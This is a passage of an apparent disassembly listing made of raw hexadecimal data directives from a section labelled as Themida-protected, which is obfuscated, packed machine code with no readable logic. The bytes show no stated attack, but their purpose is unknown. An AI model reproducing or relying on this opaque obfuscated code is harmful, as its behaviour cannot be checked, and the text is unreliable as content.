6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 88D7C352h, 0BB664147h dd 55E97C60h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 7716C350h, 13E8h, 9F77E100h dd 0FC7DD294h, 493202B0h, 0D81DAD68h, 3BACE58Ah, 5BDA8B53h dd 0C30505Fh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 1615BD8Bh, 0BD890615h, 6150FC5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 73C35545h, 0F1392302h dd 3C59589h, 0BD830615h, 6151115h, 0DC850F03h, 83000003h dd 18BF99BDh, 840F0006h, 3CFh, 0EE8h, 34F99200h, 359B4579h dd 1B023BDFh, 2B19370Ah, 1522B5BDh, 0B5FF5B06h, 618BF99h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 9BC35040h dd 0FF96123Dh, 1510E195h, 1464BF06h, 0B58B6178h, 618BF8Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 76C35646h dd 85BD8BFEh, 0C7061519h, 1000106h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 50FCE191h dd 34895F50h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 5FA5E7BAh, 4890Fh, 0BB660000h, 0B5FF6A78h dd 618BF99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 70C35545h, 0D3405F32h, 0DBB70FDBh, 6A195FFh, 850F0615h dd 5, 7FEF8166h, 8DB58BB3h, 6A0618BFh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B88C351h dd 1525699Dh, 59858B06h, 0BF061500h, 49F0905h, 313BBB66h dd 0C48689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 4B98ECC3h, 8127A5FFh, 0A785AAD3h dd 21958B65h, 6A061527h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0D88DC350h, 59B6B75Ah dd 83F170D2h, 6A04C2h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 932860C3h, 5C26A84Bh dd 840FEDh, 0F000000h, 281h, 8973B700h, 14E82050h, 40000000h dd 4A2144F3h, 0CFF9CFEDh, 78E1D9D5h, 1CDB3E9Bh, 0BBB839E8h dd 2000B2E0h, 58858D5Bh, 6A0618D4h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F6CC355h dd 386h, 0D8EB8000h, 0B88689h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 5C5B15C3h dd 2F104DF0h, 6A2355C0h, 15DF8100h, 0FF631074h, 18BF99B5h dd 0BD8BF806h, 6153041h, 1D4D95FFh, 5E80615h, 0B6000000h dd 0A4ED51CCh, 0CE9h, 59C8B800h, 31C646Ch, 23DDD4E7h, 8B965B02h dd 525050D8h, 0B2C874BBh, 8B310F39h, 96585ADAh, 1615B589h dd 0DB810615h, 6A45AF02h, 0BF99B5FFh, 81660618h, 0FFFF47F3h dd 15072995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0FBB595A2h, 57533B3Eh, 11E8h, 9B0E900h dd 0CDDE0305h, 95E9AB4Fh, 8C25A4AAh, 858983C7h, 6152505h dd 65BD835Fh, 61500h, 14840Fh, 0CF810000h, 44468B63h, 1258BB50h dd 34894E1Bh, 548EBF24h, 0B5FF3DA8h, 618BF99h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 41C35747h, 0C660E70Fh dd 9D8BF486h, 615283Dh, 43995FFh, 6A0615h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 345E36C3h dd 99B5FFE4h, 890618BFh, 1508D585h, 0CD95FF06h, 0F06150Dh dd 0BD83FAB7h, 615285Dh, 42840F02h, 8B000000h, 2890FD9h dd 50000000h, 49858B5Bh, 81061528h, 3BF879DBh, 0C629h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0DDC35141h dd 5C1A0CB4h, 2830F01h, 0B3000000h, 0F585C7D4h, 61523h dd 0F000000h, 68Bh, 0B99D8B00h, 0E9061518h, 0FFFFF23Eh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8FC35343h dd 4F56DE6Ah, 0E9543FBAh, 7, 592C64BCh, 8B843AB8h, 50006AC1h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 3779A661h, 0BEFE2EBEh, 0E857B917h, 5, 0D7F0661Fh, 999D2B81h dd 5F061523h, 9D858D5Bh, 6A061527h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0B459C351h dd 0F5BB50A8h, 8973CCF1h, 850F2404h, 3, 6AD88B66h, 0FFBF0F00h dd 8D31006Ah, 61516C5h, 298A858Dh, 8589061Ah, 61521D5h dd 6A05C083h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 62FCC352h, 0DF1CC020h, 22F19D8Bh dd 0BB500615h, 8D9B86Ch, 6A240489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 3149C352h dd 1B335ACCh, 0CE85925h, 9F000000h, 0C47FFB54h, 1E8E65AFh dd 0F7B2E25h, 389h, 0F8BF0F00h, 0ED95295Fh, 0E8061518h dd 12h, 602DA7C1h, 0CC0308Ch, 35038AC6h, 8BB0FBB7h, 0B5893F3Fh dd 6151691h, 6A006A5Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0F811C352h, 5BA1351Dh dd 0B3FE7348h, 0C99D89D1h, 6A06150Dh, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 95FF2C7Fh, 6152679h, 0DE9h, 1B49D700h, 1A2861CBh, 184E9C00h dd 8D8D9E9Bh, 6189C15h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 75C35646h, 8145D2ECh, 9B1854D7h, 0EB81667Ch dd 0D1FF86E3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 4AC35646h, 0EDBD8B57h, 8306150Ch, 152DB5BDh, 850F0106h dd 0D1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 33C35141h, 0DE9h, 0EDEACF00h, 78445C6Fh, 9E11864h dd 26A81C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0EC35242h, 0F47C3AC0h, 3C86BB44h, 8960777Fh, 152F8D85h dd 89F58006h, 52505061h, 0CE9h, 9D2EAF00h, 0B87D3ACh, 0EA722CE7h dd 0E8310F12h, 0Eh, 5E36F3CAh, 0DE16E434h, 0D723602Ah dd 8F0F107Ah, 0 dd 89585A5Fh, 0BD8B2404h, 6152FE9h, 1D4D95FFh, 6A0615h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0A21211C3h, 0DDA5DD8Eh, 8166488Ah, 8BE91EEFh, 15160DBDh db 6 byte_5CC3B9 db 0E9h, 0FFh, 0Dh ; DATA XREF: Themida_:0057BC04o dd 0E80000h, 5D000000h, 2994ED81h, 6A061Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0B55D49C3h dd 6A6EFC33h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0BDC4C351h, 101DBD89h, 858D0615h dd 61888F9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 81C35747h, 8BD88B66h, 152221BDh, 4895006h, 11E824h dd 16690000h, 90FD5449h, 0FFC7382Eh, 0FC0EF1C1h, 5BD37EBBh dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 2515C351h, 7A3C1953h dd 258964F8h, 0 dd 0FFF9B70Fh, 15153585h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0AB7544B7h dd 0F57347Fh, 28Ah, 6AD88B00h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 6F1D5A7Eh dd 0E003C70Ch, 0A19D03D5h, 8B06152Dh, 150AD5BDh, 49B5FF06h dd 6A06152Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 5F45C355h, 660DF9FDh, 68F0Fh dd 0BD890000h, 6152729h, 860Fh, 95FF0000h, 61508BDh, 152E9h dd 8D8B6000h, 6150CA1h, 68B0Fh, 95290000h, 6150A21h, 0E800B061h dd 7, 2C1391B3h, 0E9F33B1Eh, 0Bh, 7A97424Eh, 0A9760CD0h dd 5FDEC991h, 71E470E6h, 613CF98Bh, 111830Fh, 95310000h dd 6151D51h, 0E8C8B60Fh, 13h, 1FE9E589h, 18B0D299h, 0DE068E5Dh dd 42CBE61Ah, 89DEDFF2h, 15118985h, 6BA5B06h, 0E9000000h dd 5, 886CBD13h, 0E9C18BC2h, 0Bh, 5BC517AAh, 0EBFFD1ACh dd 0C121D3A6h, 0E95304E8h, 10h, 8A81CE76h, 0D4831CE4h dd 0D81DBC9h, 0E60903FEh, 0E2F7665Bh, 7E8h, 99066300h dd 98EB699Bh, 0C82B5FF9h, 2DA19D89h, 0D18B0615h, 33C99D8Bh dd 88E90615h, 2B000000h, 1523359Dh, 4C858B06h, 0BB505F4Ch dd 1DBB1735h, 8B07C083h, 150465BDh, 0C08306h, 3BFEBF0Fh dd 0E830FD0h, 60000000h, 0E961F18Bh, 57h, 0ABCF8166h, 0FF8D8BAAh dd 89FFFFFFh, 1505D58Dh, 1E18306h, 3D840Fh, 8D890000h dd 6150BE9h, 0FFFFA583h, 66FEFFFFh, 89D77FBBh, 5F4C4C95h dd 0DE96050h, 0A6000000h, 0C3B5112h, 0B2BC50F3h, 65AD161h dd 61DEB70Fh, 4890Fh, 0BB660000h, 0E990A8h, 8D000000h dd 19A5E9B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 74238F26h, 27E64E02h, 6A148Bh, 0EDB58960h dd 0F061518h, 588h, 6294BA00h, 0FF6168EEh, 152E2195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 5B0330E5h, 76D22F72h, 0E92B927h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 4E382FC3h dd 765127DCh, 19E9BD89h, 0E1830615h, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0DB810E1Ch dd 6DC250A2h, 0B8FCh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 9B6E3DC3h, 0C19D8B84h dd 2B06152Ch, 152F2D9Dh, 0BA06h, 81660000h, 0AD7681DFh dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 12h, 83BB8F4Eh dd 38AAF125h, 779FD083h, 0CA09CF7Dh, 0D5FED93h, 88h, 8BDEBF0Fh dd 15272195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0FE86E03Eh, 8BB304C6h, 1504CD8Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0E6C2A9F9h, 0A139F3A3h, 0B531DF77h, 6152F05h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BD8B5818h dd 615191Dh, 8E8h, 68C36900h, 5B165B57h, 5FFC8AC7h, 18A9BD83h dd 0F000615h, 6484h, 0E9BD8900h, 0B806150Ah, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 90C35747h dd 75E63C45h, 0E51BF325h, 20F18D29h, 8D8D0615h, 6154F9Eh dd 7018D89h, 0E1FF0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 66C35242h, 0BD08A6FEh, 15BD8303h, 61511h dd 47E840Fh, 0BB660000h, 0BD834EF2h, 6151115h, 88840F01h dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 2A61C350h, 15BD83F5h, 3061511h dd 427860Fh, 0F88B0000h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 1C30983Bh, 9D89DC2Fh dd 6152DCDh, 6AD98C66h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 9258C351h, 81E4BBD2h dd 5C4EEBD7h, 819D8B00h, 80061502h, 6A04E1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0EFEB36C3h dd 820F23BBh, 8, 4D950952h, 5B061510h, 10E8h, 0D11FB100h dd 6BFD3188h, 0EF89B81Eh, 0C29228A9h, 27BF6681h, 0C90A5BB9h dd 189840Fh, 9D8B0000h, 61502E5h, 249D858Bh, 6A0615h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0E8C618C3h, 9, 3D3D9C25h, 6B2F4154h, 7BDB8160h, 5B316896h dd 14E9h, 6846100h, 0BBE8DE64h, 8504409Ah, 4ED34501h, 0EAF50205h dd 0B585337Bh, 0E8061519h, 6, 67C67310h, 6E81530h, 8B000000h dd 0AC95237Eh, 0B6F7810Bh, 5B30F040h, 5250905Bh, 0FDA8B66h dd 5AD98A31h, 9BB35058h, 11958990h, 8B06150Ah, 1508A9BDh dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0FA37C351h, 0C7228A2Fh, 0F88BE4C9h dd 18EDBD2Bh, 9D8B0615h, 61525C1h, 4E8h, 1F03FF00h, 0D98B6600h dd 8B5B5350h, 52042444h, 66008B5Fh, 4489D88Bh, 0F5580424h dd 0DAD95FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 665275C3h, 314EE7CDh, 893C17CBh dd 18BF9985h, 75BD2306h, 0F06150Ah, 28Dh, 0E9F0B700h, 1D7h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1EC35747h dd 45EA57E1h, 65FC80Eh, 12E8h, 0BBED7E00h, 0DC12D329h dd 4D6C90CBh, 7DAB23D4h, 5FE89F1Bh, 0A9958B60h, 0E9061528h dd 7, 0B58C5342h, 6126406Ch, 0C88B6660h, 20CD8D89h, 8B610615h dd 18BF9185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0F2BC1064h, 95BD8B89h, 0E9061511h dd 0Dh, 5FFEB66h, 70449479h, 13E31FB3h, 0E19D8B06h, 0C7061501h dd 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 3F67CBE1h, 8BE578FBh, 18BF95B5h dd 0D840F06h, 0E8000000h, 7, 3D2E8F7Bh, 5FA99707h, 0C45858Bh dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0BA99B7C3h, 0E215F8D9h, 890689CEh, 151CADBDh dd 9D858B06h, 23061524h, 1503B5BDh, 4468906h, 66F98B66h dd 6650F98Bh, 3489FE8Bh, 9E824h, 0CDB90000h, 3728F4F0h dd 0F1DF3A7h, 0FF5BDEBFh, 18BF91B5h, 0E99D8906h, 68061517h dd 7C373FD6h, 13E8h, 0D49B9E00h, 1D6DE361h, 0EA924018h dd 28516132h, 3C99616Ah, 5FFE8B66h, 29243481h, 0F7C283Ch dd 681h, 75BD8900h, 66061516h, 0B11FDB81h, 0BF99858Dh dd 95890618h, 6151DF1h, 870F50h, 89000000h, 8B602404h dd 0F1BD8BD1h, 61061519h, 0FDB58B60h, 0F9061510h, 0AD95FF61h dd 6A06150Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 77A7C351h, 58196715h, 61DF8B66h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 95C35141h dd 5F5851B1h, 85C73716h, 6151115h, 3, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 19C35545h, 0ED4C0499h, 2BD2E2F1h dd 99BD83F5h, 618BFh, 17840Fh, 8D0F0000h, 6, 1A35BD23h dd 21E90615h, 8B000000h, 15017D9Dh, 0C305006h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 25C35545h, 0E08C30A8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EDC35242h, 65D3AA5Ah dd 0B04454AAh, 0F5051DAh, 8Dh, 835B5B00h, 151115BDh, 850F0306h dd 3D7h, 0DC40D781h, 0BD831521h, 618BF99h, 0C4840F00h dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 1FF1C350h, 0ED5FB511h, 6E8D2h dd 2F580000h, 18422978h, 1A1D9D8Bh, 665F0615h, 0FFB31BBBh dd 18BF99B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0F971D46Bh, 95FFCC09h, 61510E1h dd 0B58BDF8Bh, 618BF8Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 6DC35141h, 0F4543F3h, 6C7FFBFh, 10001h dd 2E4866BFh, 50A8B36Bh, 0A49CBB66h, 6A243489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 41C4C357h, 99B5FFF9h, 6A0618BFh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C4A2C356h dd 0D9B2E4A0h, 0A195FF40h, 89061506h, 151CC5B5h, 8DB58B06h dd 0F0618BFh, 38Ah, 86CB8000h, 59858Bh, 0FA8B0615h, 0C48689h dd 0BD8B0000h, 6150879h, 958BFA8Ah, 6152721h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D8C35343h, 3E3613D3h dd 6199DC48h, 5840Fh, 7FBF0000h, 830674A7h, 0BB6604C2h dd 50898BEFh, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0FF49D46h, 0C8Bh, 7E900h, 0B5BD0000h dd 0F3413013h, 58858D77h, 6A0618D4h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 837BC351h dd 909B1A65h, 44B0BBDCh, 8689705Ch, 0B8h, 1781BD03h, 6A0615h dd 0BF99B5FFh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8B3EA8C3h, 8A0F51FEh, 6, 8D0Fh dd 0FF5B0000h, 151D4D95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 7F37BF93h dd 0E8506A33h, 0Fh, 0F1994CD0h, 0CCBC4AF6h, 5951A077h dd 0E9909A6Bh, 0Ch, 79E63817h, 0A2C674F7h, 0D0FD14BAh dd 2434895Bh, 0CE9h, 92CF2000h, 4E1BC64Fh, 6398945Dh, 99B5FFE4h dd 290618BFh, 15175995h, 2995FF06h, 83061507h, 150065BDh dd 840F0006h dd 55h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h dd 0D7C35646h, 7A823285h, 22358D89h, 0E9960615h, 9, 0ABA2F1ADh dd 53FB3832h, 52505017h, 7E950h, 0D71D0000h, 0A70BC7C4h dd 310F5F07h, 5396585Ah, 880F60h, 61000000h, 99B5FF5Bh dd 8B0618BFh, 1505859Dh, 3995FF06h, 0F061504h, 0B5FFFAB7h dd 618BF99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 7BC35545h, 0ABB7F2EBh, 0DCD95FFh, 0BD830615h, 615285Dh dd 79840F02h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0B775C352h, 8B15ABBBh dd 15284985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 820F78B4h, 7, 1850Fh, 0E8F80000h dd 10h, 32F77749h, 0E3498F2Ch, 0C00DDB15h, 394F2B03h, 16C9B529h dd 0C65B0615h, 5E90000h, 5A000000h, 0FAD0B85Fh, 23F585C7h dd 615h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 71597C3h, 153F01FFh, 0E97F151Fh dd 0FFFFF327h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0CC35747h, 0C34CB249h, 918C6F9Dh, 0FE8B6636h, 0C380C18Bh dd 9D858D7Eh, 6A061527h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 6BE8C357h, 415DFD1Bh dd 5DBD8B96h, 5006150Ch, 89DE8B66h, 95012404h, 615263Dh dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 6A4CC3h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0EDC35141h, 0DDDB0591h, 0DE9h, 278A0200h dd 6328507Fh, 1CCE2B34h, 858DD06Dh, 61A39CDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 90C35646h, 8D89B291h dd 61525FDh, 6A05C083h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 5E30C351h, 519D8BCEh dd 60061501h, 23D9D01h, 800F0615h, 6, 25ED9589h, 50610615h dd 66605250h, 850FDF8Bh, 0 dd 50310F61h, 11E3BB52h, 310F2FB7h, 6E8h, 23CE0800h, 5B8FABE5h dd 585A585Ah, 80240489h, 6AABDFh, 160D9D8Bh, 6A0615h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FAC35242h, 25439360h dd 9EB3C1B1h, 267995FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 4F1F2FC3h, 0F89B82EDh dd 0FBEDC77h, 681h, 85BD2B00h, 8D061508h, 189C158Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 8B42FA80h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 5CBF14C3h, 50DB3234h, 11E9h, 584A4A00h dd 0D352302Eh, 730D342Dh, 73306ADh, 0BD8311FDh, 6152DB5h dd 4D850F01h, 8B000000h, 1505C9BDh, 6A026A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0EE78C356h, 5283F2DEh, 66F88BB4h, 5250D98Bh, 6810Fh dd 8E0F0000h, 0 dd 2404895Bh, 1D4D95FFh, 9D890615h, 6150101h, 0D92E9h dd 0E800h, 815D0000h, 1A39D7EDh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 33564A37h dd 1512A5BDh, 6A5B06h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 601FBAC3h, 0F9858D8Eh, 6A061888h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0B74CC357h, 800F50F0h, 2, 48990B3h, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0FBEEFFAEh, 0FA4F279h, 0FF64DEBFh, 35h, 0DBD8B00h, 64061510h dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 51537DC3h, 667718AAh, 0DCA9EF81h dd 7D958B60h, 66061527h, 6100EDB8h, 153585FFh, 0D7810615h dd 3B7106C6h, 9D8BFF6Ah, 615233Dh, 33A9B5FFh, 6A0615h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0D969C9C3h, 0FE8B778Dh, 8BD95FFh, 0F6E90615h, 66000000h dd 0B0D88Bh, 231D8D29h, 70E60615h, 7E8h, 467A2500h, 0CFC9B029h dd 5FFB8B66h, 9D8971E4h, 6151D2Dh, 830F613Ch, 0C9h, 0FDA8B66h dd 0FB8BC8B6h, 6BAh, 8B2BB300h, 0ADDB80C1h, 104E8C1h, 151081BDh dd 0E2F76606h, 0CAD9D89h, 0C82B0615h, 6890Fh, 0BD8B0000h dd 615179Dh, 0B589D18Bh, 6152471h, 88E9h, 0CD9D8B00h, 8B061524h dd 47554C85h, 3D9D8B49h, 8306152Bh, 816607C0h, 8331C5F7h dd 0CE900C0h, 6E000000h, 0B927F45Dh, 0A8440C9Eh, 3BF5F839h dd 14830FD0h, 57000000h, 0F95BDD8Ah, 48E9h, 48B0F00h, 66000000h dd 8BE509BBh, 0FFFFFF8Dh, 9D9D8BFFh, 83061526h, 840F01E1h dd 29h, 33E9BD8Bh, 0DA8B0615h, 0FFFFA583h, 0FFEFFFFh, 9589FEBFh dd 4947554Ch, 5318D89h, 0BD8B0615h, 6151A21h, 0E9h, 7BB58D00h dd 6A0619B4h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 97F9C355h, 1DC2565Bh, 6A9C47h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 63C35242h dd 2CAD3158h, 2D019D8Bh, 9D890615h, 6150295h, 2E2195FFh dd 0F98B0615h, 0A459D8Bh, 20B90615h, 6A000010h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0F05C357h, 0E183DFBFh, 699529FCh, 0FC061515h, 34158D89h dd 0B80615h, 8B000000h, 1528199Dh, 0BA06h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0B48686C3h, 5A9B54FFh, 0B5892108h, 61533C1h, 819D8Bh dd 33AD0615h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0DB3B86C3h dd 601D4FBh, 6A46DC1Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 8EADC350h, 0CDC98ED6h dd 0FA8AD880h, 880Dh, 3850F00h, 57000000h, 95015FF5h, 61533E9h dd 2721958Bh, 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8B3A6CC3h, 152259BDh, 259D0306h dd 8B061529h, 1504CD8Dh, 0AD9D8B06h, 5006152Dh, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 2C63A019h dd 0F3DADFCEh, 81503046h, 3286A2D3h, 8D895F15h, 615168Dh dd 69BD3357h, 5F061518h, 18A9BD83h, 0F000615h, 7984h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0A3F5D5C3h, 0DE908h, 0DC4F0000h, 7D3D5CD6h, 0FC786CCDh dd 0B84D88FDh, 0 dd 800Fh, 8D8D0000h, 6154F9Eh, 2F2DB589h, 0C3800615h, 6AE1FFE5h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 65C5C351h, 0BD89D06Ch, 6150FD9h, 23259D8Bh dd 0BD830615h, 6151115h, 4A840F00h, 6A000004h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0C5BDC352h, 932F3949h, 459D8BE0h, 8306152Bh, 151115BDh dd 840F0106h, 430h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 7DC35343h, 1115BD83h, 0F030615h, 3D186h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0CE7E1C51h, 5E1BB639h, 1A11BD8Bh, 6A600615h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 7616C357h, 17F5E43h, 66A423BFh, 66D09CBBh dd 0BE9D98Ch, 9E000000h, 37DEEDB3h, 4076958Dh, 8166AA40h dd 805739D7h, 0DE8A04E1h, 840FC90Ah, 103h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8FC35545h, 0E960439Dh dd 0Ch, 507B9DB7h, 60611314h, 550A01F0h, 61F28B66h, 249D858Bh dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 665D10C3h, 8533F88Bh, 61519B5h, 23D9D8Bh dd 66500615h, 895B97BBh, 6A2404h, 0E850006Ah, 